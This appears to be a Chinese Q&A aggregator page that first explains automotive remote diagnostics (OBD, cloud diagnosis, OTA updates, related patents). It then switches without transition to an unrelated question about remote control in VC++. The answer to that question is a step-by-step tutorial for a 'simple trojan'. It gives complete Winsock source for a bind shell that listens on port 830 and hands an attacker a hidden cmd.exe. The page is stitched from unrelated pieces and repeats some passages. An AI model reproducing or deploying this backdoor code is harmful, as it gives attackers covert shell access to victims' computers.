控制车子的软件的远程诊断需要多长时间出结果
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了控制车子的软件的远程诊断需要多长时间出结果相关的知识,希望对你有一定的参考价值。
汽车远程诊断技术是汽车诊断技术未来的发展方向;汽车远程诊断系统是汽车诊断技术结合互联网,实现远程车辆故障诊断和修复,减少车辆的维修成本的系统。如何实现远程诊断技术?远程诊断技术又将给车辆的故障诊断带来怎样的改变?今天,我们就从汽车传统诊断技术入手,谈一谈汽车远程诊断技术的发展。
一、车载自动诊断系统
汽车传统的诊断系统,称之为“车载自动诊断系统”,简称OBD,是英文On-Board Diagnostics的缩写。它是在汽车运行过程中不断监测汽车电子器件工作情况,当发现异常的时候,根据特定的算法判断出具体的故障,并以代码的方式存储下来,同时启动对应的故障运行模块功能,并且通过故障灯提醒车主,请车主将车辆驾驶到修理厂进行维修,维修人员可以利用汽车故障自诊断功能调出故障码,快速对故障进行定位和修复。
现代汽车电子控制单元(ECU)都具有故障自诊断的功能,在汽车运行中能够对各个传感器,执行器和连接线路进行不断的监测。它们共用汽车电子控制系统的信号输入电路。汽车运行时,电子控制系统输入和输出信号的电压或者电流值都有一定的变化范围,当某一个信号超出了预设的范围值,并且这一现象在一定的时间内不会消失,故障自诊断系统便判断为这一个信号对应的电路或者元器件出现故障,并将这一故障以代码的形式存入内部存储器,同时点亮仪表盘上的故障指示灯。
当汽车出现故障的时候,对应的故障自诊断模块采取不同的应急措施。
1、当某一个传感器或者电路出现故障,其信号就不能再作为汽车的控制参数,为了维护汽车的运行,故障自诊断系统将从程序中调出预先设定的经验值,作为该电路的应急输入参数,保证汽车可以继续工作。
2、当电子控制系统自身产生故障,故障自诊断系统便出发备用控制回路对汽车进行应急的简单控制,使汽车可以开的维修厂进行维修,这种应急功能叫做故障运行。
3、当某一执行元器件出现故障可能导致其他元器件损坏或者严重后果,为了安全,故障自诊断系统将采取一定的安全措施,自动停止某些功能的执行,这种功能称为故障保险。例如:当点火器出现故障,故障自诊断系统就会切断燃油喷油嘴系统电源,使喷油嘴停止喷油,防止未燃烧混合气体进入排气系统引起爆炸。像这种故障就需要拖车将车辆拖到维修厂。
当故障车辆到达维修厂,维修人员需要利用电子解码器来判断和定位具体的故障,从而进行维修。
二、汽车传统诊断技术的局限性
1、电子解码器
电子解码器实际上是一台微处理机,也叫汽车故障诊断仪。它可以与汽车电子计算机沟通,显示出诊断系统在计算机中存储的信息。故障诊断系统主要是帮助维修人员快速查找故障和分析汽车运行性能,故障自诊断技术应用水平主要取决于诊断仪的应用水平。随着汽车技术的发展,电子控制系统日趋复杂,汽车维修工作也越来越繁重和困难,对于解码器的技术要求也越来越高,希望解码器能够完全彻底的解决任何电控系统故障问题。
然而,在国内除了汽车厂制定的特约服务站拥有原厂解码器外,大部分的修理厂是买不到远程解码器的,从而大大影响了车辆品牌的价值。而原厂解码器大多数是英文或者使用专业的缩写词,对使用者的技术水平要求极高,对于对于一些特约的维修厂也很难充分发挥原厂解码器应有的作用。
另外,存在一些无法判断的故障,需要解码器向汽车电子计算机发送一些故障检测代码,然后请故障自诊断系统运行这块代码,用于更精确的定位故障。可能这块故障简单代码已经存在解码器中,也有可能需要电子控制系统供应商提供新的检测代码。如果需要电子控制系统供应商提供新的检测代码,维修时间比较长,会造成车主的抱怨。另一方面,还需要同步更新解码器里存储的检测代码,可能涉及到所有原厂解码器。当然,目前大多数的解码器支持远程连接一些诊断服务器。我们也可以称为远程传统诊断技术,但主要核心还是传统的诊断技术。
2、对品牌价值的影响
汽车传统诊断技术将故障码存储各个故障电子控制单元的存储器中,为了修复故障,需要车主将车辆开到维修厂。
根据上述提到的三种故障应急措施,当车辆判断故障会引起严重后果,或者及时车辆可以开动,由于车主担心故障会引起车辆损坏或者严重的后果,那么车主会选择拖车服务到维修厂,对于车主来说将产生拖车费用,并且车辆送到维修厂,也需要几天的时间去维修,遇到疑难问题可能更长时间。这会引起车主对车辆的信任危机,从而影响品牌价值。
3、售后成本
各个维修厂的解码器是一个庞大的开销。全国各个销售地区,不同的地方将由多个特约维修点,及时每个维修点一台,这个数量也是比较庞大的。随着汽车智能化的发展,那么解码器也需要更新换代,这也将是一大笔费用。
随着汽车智能化的发展,对于维修人员的技术水平要求越来越高,人力成本的费用也会随之越来越高。
三、汽车远程诊断技术特点
远程诊断技术与传统诊断技术主要区别在于,使车辆制造商由被动诊断变为主动诊断,能够随时或者定期对车辆进行远程诊断,并远程修复故障(借助OTA技术)的能力,其主要有以下几个特点:
1、主动诊断
当车辆产生故障的时候,车辆可以及时的将故障码上报云诊断平台,云诊断平台根据故障码判断故障。对于无法精确定位故障原因,云诊断平台可以将一些诊断脚本远程发送给车辆,并请求车辆主动运行诊断脚本,并将诊断结果上报云管理平台,这样能够更加精确的定位故障的具体原因。
2、远程故障修复
某些故障如果是ECU系统问题,可以通过升级软件解决,那么云诊断平台将结合OTA技术,将修复故障的ECU软件推送给车辆进行在线升级,从而解决故障,节省维修成本。
3、远程协助及诊断脚本的更新
对于车辆的故障,可以请诊断专家远程协助,提供一些最新的诊断脚本代码,或者方案,通过云诊断平台推送给车辆进行验证,从而减少了出差费用。
4、汽车远程诊断技术与传统诊断技术比较
5、汽车远程诊断未来的发展
在上述提到,对于一些软件的故障修复,可以借助OTA技术。未来的远程诊断必将和OTA技术结合,才能够充分发挥远程诊断的优势。目前,上海艾拉比公司已经有了成熟的远程诊断技术,结合艾拉比核心的OTA技术,打造了完整的闭环方案。远程故障诊断技术和OTA技术的结合将对未来汽车制造商搭建智能化管理运营中心业务的搭建扩展创造了无限可能。 参考技术A 现有的车载诊断系统需要用诊断仪对车辆进行现场故障诊断,诊断仪一般有两种,一种是手持式的,是一个独立的设备带显示屏,另一种是一个硬件盒子连接车辆,软件装在笔记本上面,笔记本上的软件和硬件盒子结合起来作为一套诊断仪。采用诊断仪进行故障诊断,无法在故障发生的第一时间确认车辆故障,且需要将车辆移动至维修店方可使用诊断仪进行故障诊断,故障维修时效性差且耗费用户维修时间。
公开号为cn105629964a的《车辆故障远程实时诊断方法》仅阐述了一种远程诊断的思路,且并未给出具体的实现方式,与本发明所要保护的技术方案有本质区别,本发明阐述了远程诊断系统如何实现,包括系统组成、软件架构等等。
公开号为cn104850113a的《一种汽车远程诊断系统及方法》阐述了一种汽车远程诊断系统和方法,该系统包括一车载终端,所述车载终端包括:微处理器、采集模块、3g通讯模块以及存储模块,具体地:步骤s100,采集和本地存储汽车诊断原始数据;步骤s200,通过3g通讯模块远程传输采集的汽车诊断原始数据;步骤s300,接收和保存远程传输的汽车诊断原始数据;步骤s400,访问汽车诊断原始数据以对汽车故障进行诊断。该系统是通过外置的车载终端实现,包括采集、存储、发送,其实现方式与本发明有本质不同,且在第0028段记载有:采集模块可以是can总线汽车诊断通信模块,为了适应汽车产品多路can总线的发展趋势,可以考虑采用兼容两路can总线的can总线汽车诊断通信模块,以适配汽车上不同通讯波特率的can总线。也就是说,该技术方案的原始数据是直接通过can总线引用报文读取,存在泄漏车辆安全信息的风险,而本发明是通过uds诊断协议读取车辆状态,是通过发送指令至ecu读取故障代码或数据流,安全性更高。
现有关于车辆故障远程诊断的公开文献,均未出一套完整的方案来解决:如何解决车辆故障远程诊断、如何保证远程诊断时效性、以及如何降低远程诊断对车辆正常运行过程中的影响并保证车辆行驶安全性。有鉴于此,申请人提出了一套全新的基于uds协议的车辆故障安全诊断系统及方法。 参考技术B 大众汽车远程诊断系统是一套借助移动通讯技术、卫星定位技术和人工智能技术对故障车辆进行远程诊断的包含软件和硬件一体的计算机信息系统。汽车维修人员可以在不影响车辆外观和正常驾驶的情况下在故障车辆上安装诊断设备,根据采集回来的数据来分析车辆的故障原因。
适用场景
本系统主要适用于以下四个场景,除此之外还有许多应用场合,有待用户去发掘。
一、偶发性故障问题的排查。有些车主投诉汽车偶尔会发生某种不正常状况,但到4S店利用VAS5053等传统诊断仪检测却无问题,这种情况下需要长期对车辆行驶过程进行观察。
二、远程技术支持。由于4S店的技术力量有限,需要得到大众总部的技术力量支持,总部需要派员到各个维修中心现场解决问题。借助本系统,经验丰富的总部技术专家可以远程辅助4S店技术员对车辆故障进行诊断。
三、自动检测。系统能够根据采集的数据,自动识别故障,实现无故障码情况下故障的自动诊断功能。
四、行驶记录与预警功能。完整记录驾驶过程,对某些不良驾驶行为做统计与分析,提醒用户修正不良驾驶行为。对用户的不合理使用车辆而引起的投诉问题进行合理解释。
系统工作原理
系统由远程诊断仪、客户端软件和服务器三部分组成。系统的工作原理如图1所示:

图 1远程诊断系统的基本原理
远程诊断仪:安装在车辆上 参考技术C 汽车远程故障诊断系统是指汽车在启动时,获知汽车的故障信息,并把故障码上传至数据处理中心。系统在不打扰车主的情况下复检故障信息。在确定故障后,并实施远程自动消除故障,无法消除的故障以短信方式发送给车主,使车主提前获知车辆存在的故障信息,防范于未然。
同时4S店的应用平台也会及时显示车辆的故障信息,及时联系客户安排时间维修车辆。2012年由上海艾闵信息科技有限公司推出众浩汽车远程故障诊断系统,开启了车联网的基本定义 参考技术D 其主要有以下几个特点:
1、主动诊断
当车辆产生故障的时候,车辆可以及时的将故障码上报云诊断平台,云诊断平台根据故障码判断故障。对于无法精确定位故障原因,云诊断平台可以将一些诊断脚本远程发送给车辆,并请求车辆主动运行诊断脚本,并将诊断结果上报云管理平台,这样能够更加精确的定位故障的具体原因。
2、远程故障修复
某些故障如果是ECU系统问题,可以通过升级软件解决,那么云诊断平台将结合OTA技术,将修复故障的ECU软件推送给车辆进行在线升级,从而解决故障,节省维修成本。
3、远程协助及诊断脚本的更新
对于车辆的故障,可以请诊断专家远程协助,提供一些最新的诊断脚本代码,或者方案,通过云诊断平台推送给车辆进行验证,从而减少了出差费用。
4、汽车远程诊断技术与传统诊断技术比较
5、汽车远程诊断未来的发展
在上述提到,对于一些软件的故障修复,可以借助OTA技术。未来的远程诊断必将和OTA技术结合,才能够充分发挥远程诊断的优势。目前,上海艾拉比公司已经有了成熟的远程诊断技术,结合艾拉比核心的OTA技术,打造了完整的闭环方案。远程故障诊断技术和OTA技术的结合将对未来汽车制造商搭建智能化管理运营中心业务的搭建扩展创造了无限可能。
远程控制
vc++ 怎么实现远程控制 例如 控制端发送命令A到服务端 去执行 结果返回 的具体编程实现
一个简单的木马程序~自己好好看下首先,我们先讲解一下本程序中需要用到的几个函数。
木马需要和客户端(即攻击方)的通信,因此,我们需要用套接字编程。使用套接字需要包含头文件#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#pragma comment(lib,"Ws2_32")
我们定义的变量为:
WSADATA ws;
SOCKET listenFD,clientFD;
int ret;
struct sockaddr_in server;
int iAddrSize;
STARTUPINFO si;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
根据常规的winsock的编程结构,我们可以机械地完成下面几步:
1. 初始化版本
WSAStartup(MAKEWORD(2,2), //初始化版本
&ws
);
2.建立socket
listenFD=WSASocket(AF_INET, //建立socket
SOCK_STREAM,
IPPROTO_TCP,
NULL,
0,
0
);
3,将服务器端的ip地址和端口号绑定到第2步建立的listenFD上
server.sin_family=AF_INET;
server.sin_port=htons(830); //830端口
server.sin_addr.S_un.S_addr=INADDR_ANY;
ret=bind(listenFD, //绑定到listenFD上
(struct sockaddr *)&server,
sizeof(struct sockaddr)
);
4.进行监听
ret=listen(listenFD, //监听830端口
BACKLOG
);
到这一步,木马就会一直在830端口等待攻击者的连接了。接下来,我们编写当攻击者连接830端口后,木马的相应程序。
当攻击者链接830端口时,木马接受连接,并创建句柄clientFD。
clientFD=accept(listenFD, //接受连接并创建新的套接字clientFD
(struct sockaddr *)&server,
&iAddrSize
);
接着,我将向大家介绍采用进程间零管道通信的木马如何编写。
STARTUPINFO si 这是一个结构体。存放的是进程的信息。大家对这个结构体的具体内容不必追究,在以后的编程中,大家会发现,只用到下面的几个成员。
si.dwFlags si.wShowWindow si.hStdOutput,si.hStdInput,si.hStdError
首先,si.dwFlags我们固定用si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
接着,si.wShowWindow是说新创立的进程的窗口显示的方式。我们这里不可能让被攻击的计算机桌面上突然就打开一个cmd窗口,因此必须将进程的窗口显示方式设为隐藏。
si.wShowWindow=SW_HIDE;
接着,我们必须对进程的输入输出管道进行定义。这里,因为我们采用的是零管道木马的技术,因此,将输入输出管道全部用clientFD来代替就行。这里可以简单的理解为攻击者和木马的通信实际上已经转化成了和cmd子进程的通信。攻击者发过来的命令直接交给cmd子进程,而子进程的返回信息直接发给了攻击者。
因此,si的设置为:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdOutput=si.hStdInput=si.hStdError=(void *)clientFD;
接着我们就可以创建cmd子进程了。
可以用CreateProcess()函数。
ret=CreateProcess(NULL, //创建cmd.exe子进程
cmdLine,
NULL,
NULL,
1,
0,
NULL,
NULL,
&si,
&ProcessInformation
);
这样,一个简单的得到cmdshell的木马就完成了。整个代码如下:
#include "stdafx.h"
#include<winsock2.h>
#include<stdio.h>
#include<windows.h>
#pragma comment(lib,"Ws2_32")
#define BACKLOG 10 //设定可等待客户队列的大小为BACKLOG=10
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
// TODO: Place code here.
WSADATA ws;
SOCKET listenFD,clientFD;
int ret;
struct sockaddr_in server;
int iAddrSize;
STARTUPINFO si;
char cmdLine[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
WSAStartup(MAKEWORD(2,2), //初始化版本
&ws
);
listenFD=WSASocket(AF_INET, //建立socket
SOCK_STREAM,
IPPROTO_TCP,
NULL,
0,
0
);
server.sin_family=AF_INET;
server.sin_port=htons(830);
server.sin_addr.S_un.S_addr=INADDR_ANY;
ret=bind(listenFD, //绑定到sockfd上
(struct sockaddr *)&server,
sizeof(struct sockaddr)
);
ret=listen(listenFD, //监听830端口
BACKLOG
);
iAddrSize=sizeof(server);
clientFD=accept(listenFD, //接受连接并创建新的套接字clientFD
(struct sockaddr *)&server,
&iAddrSize
);
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
//si.wShowWindow=SW_SHOWNORMAL;
si.hStdOutput=si.hStdInput=si.hStdError=(void *)clientFD;
ret=CreateProcess(NULL, //创建cmd.exe子进程
cmdLine,
NULL,
NULL,
1,
0,
NULL,
NULL,
&si,
&ProcessInformation
);
return 0;
参考技术A socket编程,有本书 远程控制编程技术,自己拿来看看
以上是关于控制车子的软件的远程诊断需要多长时间出结果的主要内容,如果未能解决你的问题,请参考以下文章